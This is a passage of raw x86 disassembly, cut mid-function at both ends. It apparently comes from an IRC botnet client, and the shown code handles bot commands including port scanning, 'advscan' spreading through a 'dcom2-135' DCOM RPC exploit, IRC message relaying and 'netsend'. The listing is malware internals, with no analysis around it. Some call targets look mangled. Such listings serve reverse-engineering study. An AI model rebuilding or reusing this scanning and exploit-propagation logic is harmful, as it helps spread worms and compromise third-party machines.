loc_4098A7:				; CODE XREF: sub_4021E5+769Fj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_2F6C],	eax
		push	7Fh
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		lea	eax, [ebp+var_3070]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_2F70],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	[ebp+var_98]
		push	80h
		lea	eax, [ebp+var_2FF0]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_2F60],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F5C],	eax
		push	[ebp+var_2F70]
		lea	eax, [ebp+var_3070]
		push	eax
		push	[ebp+var_2F6C]
		push	[ebp+arg_4]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	offset unk_443FD4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 18h
		push	0
		push	18h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_2F68],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_3078]
		push	eax
		push	offset byte_415DBF
		push	0
		push	0
		call	near ptr 27B05E2h
		nop
		mov	ecx, [ebp+var_2F68]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_2F68]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_4099D4


loc_4099BF:				; CODE XREF: sub_4021E5+77EBj
		cmp	[ebp+var_2F58],	0
		jnz	short loc_4099D2
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_4099BF
; ---------------------------------------------------------------------------


loc_4099D2:				; CODE XREF: sub_4021E5+77E1j
		jmp	short loc_4099EF
; ---------------------------------------------------------------------------


loc_4099D4:				; CODE XREF: sub_4021E5+77D8j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_444010
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_4099EF:				; CODE XREF: sub_4021E5:loc_4099D2j
		cmp	[ebp+var_4], 0
		jnz	short loc_409A15
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_409A15:				; CODE XREF: sub_4021E5+780Ej
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_409A2A:				; CODE XREF: sub_4021E5+76BCj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aScan_1	; "scan"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_409A68
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aSc	; "sc"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_409BDF


loc_409A68:				; CODE XREF: sub_4021E5+7860j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	dword_4E1740	; inet_addr
		mov	[ebp+var_3090],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_30A0],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_3098],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3124],	eax
		push	7Fh
		push	[ebp+var_98]
		lea	eax, [ebp+var_3120]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_3088],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3084],	eax
		push	[ebp+var_3098]
		push	[ebp+var_30A0]
		push	[ebp+var_3090]
		call	dword_4E178C	; inet_ntoa
		push	eax
		push	offset unk_444060
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	0
		push	0Bh
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_3094],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_3124]
		push	eax
		push	offset dword_40F354
		push	0
		push	0
		call	near ptr 27B05E2h
		nop
		mov	ecx, [ebp+var_3094]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_3094]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_409B89


loc_409B74:				; CODE XREF: sub_4021E5+79A0j
		cmp	[ebp+var_3080],	0
		jnz	short loc_409B87
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_409B74
; ---------------------------------------------------------------------------


loc_409B87:				; CODE XREF: sub_4021E5+7996j
		jmp	short loc_409BA4
; ---------------------------------------------------------------------------


loc_409B89:				; CODE XREF: sub_4021E5+798Dj
		call	near ptr 27B0F7Fh
		nop
		push	eax
		push	offset unk_44409C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_409BA4:				; CODE XREF: sub_4021E5:loc_409B87j
		cmp	[ebp+var_4], 0
		jnz	short loc_409BCA
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_409BCA:				; CODE XREF: sub_4021E5+79C3j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_409BDF:				; CODE XREF: sub_4021E5+787Dj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_409C1D
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_pm	; "c_pm"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_409DD6


loc_409C1D:				; CODE XREF: sub_4021E5+7A15j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		movsx	eax, byte_454630[eax]
		test	eax, eax
		jz	loc_409DCE
		cmp	[ebp+var_2D4], 0
		jz	loc_409DCE
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		call	sub_41EBD0
		pop	ecx
		mov	esi, [ebp+var_2D4]
		add	esi, eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_41EBD0
		pop	ecx
		add	esi, eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_41EBD0
		pop	ecx
		lea	eax, [esi+eax+2]
		mov	[ebp+var_2D4], eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_3128],	eax
		cmp	[ebp+var_3128],	0
		jz	loc_409DCE
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		test	eax, eax
		jle	loc_409DCE
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		cmp	eax, 400h
		jge	loc_409DCE
		push	0
		push	0
		push	[ebp+var_3128]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		push	dword_454624[eax]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		movsx	eax, byte_454418[eax]
		cmp	eax, 73h
		jnz	short loc_409DCE
		push	[ebp+var_3128]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		add	eax, offset byte_454630
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset aSSS	; "[%s]	<%s> %s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_409DCE:				; CODE XREF: sub_4021E5+7A5Aj
					; sub_4021E5+7A67j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_409DD6:				; CODE XREF: sub_4021E5+7A32j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_action ; "c_action"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_409E14
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset off_444104
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_409FE8


loc_409E14:				; CODE XREF: sub_4021E5+7C0Cj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		movsx	eax, byte_454630[eax]
		test	eax, eax
		jz	loc_409FE0
		cmp	[ebp+var_2D4], 0
		jz	loc_409FE0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		call	sub_41EBD0
		pop	ecx
		mov	esi, [ebp+var_2D4]
		add	esi, eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_41EBD0
		pop	ecx
		add	esi, eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_41EBD0
		pop	ecx
		lea	eax, [esi+eax+2]
		mov	[ebp+var_2D4], eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_312C],	eax
		push	[ebp+var_312C]
		push	offset dword_444108
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		cmp	[ebp+var_312C],	0
		jz	loc_409FE0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		test	eax, eax
		jle	loc_409FE0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		cmp	eax, 400h
		jge	loc_409FE0
		push	0
		push	0
		lea	eax, [ebp+var_858]
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		push	dword_454624[eax]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		movsx	eax, byte_454418[eax]
		cmp	eax, 73h
		jnz	short loc_409FE0
		push	[ebp+var_312C]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		add	eax, offset byte_454630
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset dword_444114
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_409FE0:				; CODE XREF: sub_4021E5+7C51j
					; sub_4021E5+7C5Ej ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_409FE8:				; CODE XREF: sub_4021E5+7C29j
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_90], 0
		jnz	short loc_40A000
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40A000:				; CODE XREF: sub_4021E5+7E11j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aPortscan ; "portscan"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40A03E
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aPsc	; "psc"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40A1D4


loc_40A03E:				; CODE XREF: sub_4021E5+7E36j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_40C670
		pop	ecx
		mov	[ebp+var_3144],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_3154],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_3150],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_314C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_31D8],	eax
		push	7Fh
		push	[ebp+var_98]
		lea	eax, [ebp+var_31D4]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_313C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3138],	eax
		push	[ebp+var_3150]
		push	[ebp+var_3154]
		push	[ebp+var_314C]
		push	[ebp+var_3144]
		call	dword_4E178C	; inet_ntoa
		push	eax
		push	offset unk_444134
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 18h
		push	0
		push	0Bh
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_3148],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_31D8]
		push	eax
		push	offset word_40F4BE
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_3148]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_3148]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_40A17E


loc_40A169:				; CODE XREF: sub_4021E5+7F95j
		cmp	[ebp+var_3134],	0
		jnz	short loc_40A17C
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_40A169
; ---------------------------------------------------------------------------


loc_40A17C:				; CODE XREF: sub_4021E5+7F8Bj
		jmp	short loc_40A199
; ---------------------------------------------------------------------------


loc_40A17E:				; CODE XREF: sub_4021E5+7F82j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_444184
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40A199:				; CODE XREF: sub_4021E5:loc_40A17Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_40A1BF
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40A1BF:				; CODE XREF: sub_4021E5+7FB8j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40A1D4:				; CODE XREF: sub_4021E5+7E53j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aAdvscan	; "advscan"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40A212
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aAsc	; "asc"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40A830


loc_40A212:				; CODE XREF: sub_4021E5+800Aj
		push	0Bh
		call	sub_40D6D9
		pop	ecx
		mov	[ebp+var_31DC],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_421670
		pop	ecx
		mov	ecx, [ebp+var_31DC]
		add	ecx, eax
		cmp	ecx, 1F4h
		jle	short loc_40A282
		push	[ebp+var_31DC]
		push	offset unk_4441CC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		jmp	loc_40A82B
; ---------------------------------------------------------------------------


loc_40A282:				; CODE XREF: sub_4021E5+805Cj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_3214],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_31FC],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_3210],	eax
		cmp	[ebp+var_3210],	5
		jnb	short loc_40A2E2
		mov	[ebp+var_4164],	5
		jmp	short loc_40A2EE
; ---------------------------------------------------------------------------


loc_40A2E2:				; CODE XREF: sub_4021E5+80EFj
		mov	eax, [ebp+var_3210]
		mov	[ebp+var_4164],	eax


loc_40A2EE:				; CODE XREF: sub_4021E5+80FBj
		mov	eax, [ebp+var_4164]
		mov	[ebp+var_3210],	eax
		cmp	[ebp+var_3210],	3Ch
		jbe	short loc_40A30F
		mov	[ebp+var_4168],	3Ch
		jmp	short loc_40A31B
; ---------------------------------------------------------------------------


loc_40A30F:				; CODE XREF: sub_4021E5+811Cj
		mov	eax, [ebp+var_3210]
		mov	[ebp+var_4168],	eax


loc_40A31B:				; CODE XREF: sub_4021E5+8128j
		mov	eax, [ebp+var_4168]
		mov	[ebp+var_3210],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_320C],	eax
		cmp	[ebp+var_320C],	320h
		jbe	short loc_40A358
		mov	[ebp+var_416C],	320h
		jmp	short loc_40A364
; ---------------------------------------------------------------------------


loc_40A358:				; CODE XREF: sub_4021E5+8165j
		mov	eax, [ebp+var_320C]
		mov	[ebp+var_416C],	eax


loc_40A364:				; CODE XREF: sub_4021E5+8171j
		mov	eax, [ebp+var_416C]
		mov	[ebp+var_320C],	eax
		or	[ebp+var_31F8],	0FFFFFFFFh
		and	[ebp+var_5D8], 0
		jmp	short loc_40A38D
; ---------------------------------------------------------------------------


loc_40A380:				; CODE XREF: sub_4021E5:loc_40A3E9j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_40A38D:				; CODE XREF: sub_4021E5+8199j
		mov	eax, [ebp+var_5D8]
		shl	eax, 6
		cmp	dword_448FE8[eax], 0
		jz	short loc_40A3EB
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		mov	eax, [ebp+var_5D8]
		shl	eax, 6
		add	eax, offset aDcom2135 ;	"dcom2-135"
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40A3E9
		mov	eax, [ebp+var_5D8]
		shl	eax, 6
		mov	eax, dword_448FE8[eax]
		mov	[ebp+var_3214],	eax
		mov	eax, [ebp+var_5D8]
		mov	[ebp+var_31F8],	eax
		jmp	short loc_40A3EB
; ---------------------------------------------------------------------------


loc_40A3E9:				; CODE XREF: sub_4021E5+81DFj
		jmp	short loc_40A380
; ---------------------------------------------------------------------------


loc_40A3EB:				; CODE XREF: sub_4021E5+81B8j
					; sub_4021E5+8202j
		cmp	[ebp+var_3214],	0
		jnz	short loc_40A442
		push	offset unk_44420C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_40A42D
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40A42D:				; CODE XREF: sub_4021E5+8226j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40A442:				; CODE XREF: sub_4021E5+820Dj
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_8C], 0
		jz	short loc_40A4AC
		mov	eax, [ebp+var_BC]
		mov	eax, [ebp+eax*4+var_8C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jz	short loc_40A4AC
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		push	10h
		lea	eax, [ebp+var_3328]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		push	78h
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		call	sub_422680
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_31E8],	eax
		jmp	loc_40A61F
; ---------------------------------------------------------------------------


loc_40A4AC:				; CODE XREF: sub_4021E5+826Bj
					; sub_4021E5+8280j
		movzx	eax, [ebp+var_373]
		test	eax, eax
		jnz	short loc_40A4D1
		movzx	eax, [ebp+var_372]
		test	eax, eax
		jnz	short loc_40A4D1
		movzx	eax, [ebp+var_362]
		test	eax, eax
		jz	loc_40A5D1


loc_40A4D1:				; CODE XREF: sub_4021E5+82D0j
					; sub_4021E5+82DBj
		mov	[ebp+var_333C],	10h
		lea	eax, [ebp+var_333C]
		push	eax
		lea	eax, [ebp+var_3338]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E16A4	; getsockname
		movzx	eax, [ebp+var_373]
		neg	eax
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		mov	ecx, [ebp+var_3334]
		and	ecx, eax
		mov	[ebp+var_3334],	ecx
		push	10h
		push	[ebp+var_3334]
		call	dword_4E178C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_3328]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		movzx	eax, [ebp+var_362]
		test	eax, eax
		jz	loc_40A5C8
		movzx	eax, [ebp+var_373]
		neg	eax
		sbb	eax, eax
		neg	eax
		inc	eax
		inc	eax
		mov	[ebp+var_3348],	eax
		push	30h
		lea	eax, [ebp+var_3328]
		push	eax
		call	sub_422510
		pop	ecx
		pop	ecx
		mov	[ebp+var_3340],	eax
		and	[ebp+var_3344],	0
		jmp	short loc_40A5A2
; ---------------------------------------------------------------------------


loc_40A575:				; CODE XREF: sub_4021E5+83D5j
		mov	eax, [ebp+var_3340]
		mov	byte ptr [eax],	78h
		push	30h
		lea	eax, [ebp+var_3328]
		push	eax
		call	sub_422510
		pop	ecx
		pop	ecx
		mov	[ebp+var_3340],	eax
		mov	al, [ebp+var_3344]
		add	al, 1
		mov	[ebp+var_3344],	al


loc_40A5A2:				; CODE XREF: sub_4021E5+838Ej
		movsx	eax, [ebp+var_3344]
		cmp	eax, [ebp+var_3348]
		jge	short loc_40A5BC
		cmp	[ebp+var_3340],	0
		jz	short loc_40A5BC
		jmp	short loc_40A575
; ---------------------------------------------------------------------------


loc_40A5BC:				; CODE XREF: sub_4021E5+83CAj
					; sub_4021E5+83D3j
		mov	[ebp+var_31E8],	1
		jmp	short loc_40A5CF
; ---------------------------------------------------------------------------


loc_40A5C8:				; CODE XREF: sub_4021E5+8356j
		and	[ebp+var_31E8],	0


loc_40A5CF:				; CODE XREF: sub_4021E5+83E1j
		jmp	short loc_40A61F
; ---------------------------------------------------------------------------


loc_40A5D1:				; CODE XREF: sub_4021E5+82E6j
		push	offset unk_444240
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_40A60A
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40A60A:				; CODE XREF: sub_4021E5+8403j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40A61F:				; CODE XREF: sub_4021E5+82C2j
					; sub_4021E5:loc_40A5CFj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3218],	eax
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_31F0],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_31EC],	eax
		push	[ebp+var_98]
		push	80h
		lea	eax, [ebp+var_3318]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_88], 0
		jz	short loc_40A68A
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_88]
		push	80h
		lea	eax, [ebp+var_3298]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		jmp	short loc_40A709
; ---------------------------------------------------------------------------


loc_40A68A:				; CODE XREF: sub_4021E5+8480j
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_8C], 0
		jz	short loc_40A6D2
		mov	eax, [ebp+var_BC]
		mov	eax, [ebp+eax*4+var_8C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A6D2
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		push	80h
		lea	eax, [ebp+var_3298]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		jmp	short loc_40A709
; ---------------------------------------------------------------------------


loc_40A6D2:				; CODE XREF: sub_4021E5+84B3j
					; sub_4021E5+84C8j
		push	offset dword_4E15B8
		push	offset aMrnetiex ; "##mrnetiex##"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40A702
		push	offset aMrnetiex ; "##mrnetiex##"
		push	80h
		lea	eax, [ebp+var_3298]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		jmp	short loc_40A709
; ---------------------------------------------------------------------------


loc_40A702:				; CODE XREF: sub_4021E5+8500j
		and	[ebp+var_3298],	0


loc_40A709:				; CODE XREF: sub_4021E5+84A3j
					; sub_4021E5+84EBj ...
		cmp	[ebp+var_31E8],	0
		jz	short loc_40A71E
		mov	[ebp+var_4170],	offset aRandom_0 ; "Random"
		jmp	short loc_40A728
; ---------------------------------------------------------------------------


loc_40A71E:				; CODE XREF: sub_4021E5+852Bj
		mov	[ebp+var_4170],	offset aSequential_0 ; "Sequential"


loc_40A728:				; CODE XREF: sub_4021E5+8537j
		push	[ebp+var_31FC]
		push	[ebp+var_320C]
		push	[ebp+var_3210]
		push	[ebp+var_3214]
		lea	eax, [ebp+var_3328]
		push	eax
		push	[ebp+var_4170]
		push	offset unk_444288
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 20h
		push	0
		push	0Bh
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_3208],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_3328]
		push	eax
		push	offset dword_40EF74
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_3208]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_3208]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_40A7D5


loc_40A7C0:				; CODE XREF: sub_4021E5+85ECj
		cmp	[ebp+var_31E4],	0
		jnz	short loc_40A7D3
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_40A7C0
; ---------------------------------------------------------------------------


loc_40A7D3:				; CODE XREF: sub_4021E5+85E2j
		jmp	short loc_40A7F0
; ---------------------------------------------------------------------------


loc_40A7D5:				; CODE XREF: sub_4021E5+85D9j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_4442F0
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40A7F0:				; CODE XREF: sub_4021E5:loc_40A7D3j
		cmp	[ebp+var_4], 0
		jnz	short loc_40A816
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40A816:				; CODE XREF: sub_4021E5+860Fj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40A82B:				; CODE XREF: sub_4021E5+8098j
		jmp	loc_40AD49
; ---------------------------------------------------------------------------


loc_40A830:				; CODE XREF: sub_4021E5+8027j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aNetsend	; "netsend"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40A86E
		mov	eax, [ebp+var_BC]
